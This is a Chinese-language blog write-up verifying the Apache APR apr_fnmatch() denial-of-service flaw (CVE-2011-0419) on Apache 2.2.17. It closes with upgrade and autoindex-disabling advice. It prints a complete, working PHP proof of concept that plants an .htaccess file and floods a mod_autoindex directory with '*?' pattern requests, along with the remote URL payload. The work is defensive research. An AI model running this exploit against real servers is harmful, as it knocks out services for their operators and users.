Apache 1.4/2.2.x - APR ‘apr_fnmatch()’ Denial of Service(CVE-2011-0419)漏洞研究

工作中扫描发现Apache 1.4/2.2.x - APR ‘apr_fnmatch()’ Denial of Service(CVE-2011-0419)漏洞,对于该漏洞,我们做出如下验证与研究:

1. 漏洞信息
b1
Apache Portable Runtime (APR)库1.4.3之前版本,Apache HTTP Server2.2.18之前版本的apr_fnmatch.c中存在栈消耗漏洞。该漏洞是由于“fnmatch()”函数的实现没有正确限制它的递归调用,远程攻击者可以借助first参数中的*?序列针对mod_autoindex某块进行攻击,从而导致拒绝服务(CPU和内存消耗)。
APR(Apache portable Run-time libraries,Apache可移植运行库)的目的如其名称一样,主要为上层的应用程序提供一个可以跨越多操作系统平台使用的底层支持接口库。
也就是说Apache的APR库中的fnmatch()函数出了问题,可以造成DOS攻击。

2.漏洞研究与验证:
测试环境:Redhat6.5,Apache 2.2.17
b2
根据exploit-db的资料,实现该攻击需要支持autoindex模块,也就是支持列目录,并且该目录中需要有较长文件名的文件。
首先开启列列目录功能,对httpd.conf文件做如下修改:
b3
其中Indexs就是开启列目录,然后我们创建一个文件,根据POC,这个文件名为“cx…………………………(125个点)”,如下图:
b4
在攻击前,我们首先观察一下CPU的占用情况,正常。
b5
网上POC如下:
b6
对一些参数进行具体的修改,如ip、目录等。执行攻击脚本:

php -f run.php  

过一段时间,再次观察CPU使用情况:
b7
可见,新出现许多httpd进程,并且CPU已到达99.5%,此时服务器明显卡顿,再次访问相关页面,也无法打开:
b8
至此,DOS攻击成功。

3.总结:

Apache HTTP Server2.2.18之前版本的apr_fnmatch.c中存在栈消耗漏洞,在支持autoindex模块的前提下,可能造成DOS攻击。2.2.18版本是2011年的版本,版本较低,建议升级,同时autoindex模块会造成不必要的信息泄露,也应关闭。poc如下:

source: http://www.securityfocus.com/bid/47820/info

Apache APR is prone to a vulnerability that may allow attackers to cause a denial-of-service condition.

Apache APR versions prior to 1.4.4 are vulnerable. 

<?php
/*
Apache 2.2.17 mod_autoindex local/remote Denial of Service
author: Maksymilian Arciemowicz

CVE: CVE-2011-0419
CWE: CWE-399

REMOTE
Find some directory with supported mod_autoindex on the server. The directory should contain long filenames.

http://[server]/[directory_with_mod_autoindex]/?P=*?*?*?[to 4k]

LOCAL
Tested on:
127# httpd -v && uname -a 
Server version: Apache/2.2.17 (Unix)
Server built:   Dec 28 2010 13:21:44
NetBSD localhost 5.1 NetBSD 5.1 (GENERIC) #0: Sun Nov  7 14:39:56 UTC 2010  builds@b6.netbsd.org:/home/builds/ab/netbsd-5-1-RELEASE/i386/201011061943Z-obj/home/builds/ab/netbsd-5-1-RELEASE/src/sys/arch/i386/compile/GENERIC i386

Result:
127# ls -la   
total 8
drwxrwxrwx  2 root  wheel   512 Feb  8 21:41 .
drwxr-xr-x  7 www   wheel  1024 Jan 31 08:49 ..
-rw-r--r--  1 www   wheel  1056 Feb  8 19:39 .htaccess
-rw-r--r--  1 www   wheel     0 Feb  8 19:39 cx.............................................................................................................................
-rw-r--r--  1 www   wheel  1240 Feb  8 19:42 run.php
127# ps -aux -p 617 
USER PID %CPU %MEM   VSZ  RSS TTY STAT STARTED      TIME COMMAND
www  617 98.6  0.4 10028 4004 ?   R     7:38PM 121:43.17 /usr/pkg/sbin/httpd -k start 

Time = 121:43 and counting

where http://[$localhost]:[$localport]/[$localuri]
*/
$localhost="192.168.160.237";
$localport=80;
$localuri="/tf";


if(!is_writable(".")) die("!writable");

// Phase 1
// Create some filename
touch("cx".str_repeat(".",125));

// Phase 2
// Create .htaccess with 
unlink("./.htaccess");
$htaccess=fopen("./.htaccess", "a");
fwrite($htaccess,"AddDescription \"CVE-2011-0419\" ".str_repeat('*.',512)."\n");
fclose($htaccess);

// Phase 3
// Local connect (bypass firewall restriction)
while(1){
	$fp = fsockopen($localhost, $localport, $errno, $errstr, 30);
	if (!$fp) echo "$errstr ($errno)<br />\n";
	else {
		$out = "GET ".$localuri."/?P=".str_repeat("*?",1500)."* HTTP/1.1\r\n";
		$out .= "Host: ".$localhost."\r\n";
		$out .= "Connection: Close\r\n\r\n";
		fwrite($fp, $out);
		fclose($fp);
	}
}

?>


blog comments powered by Disqus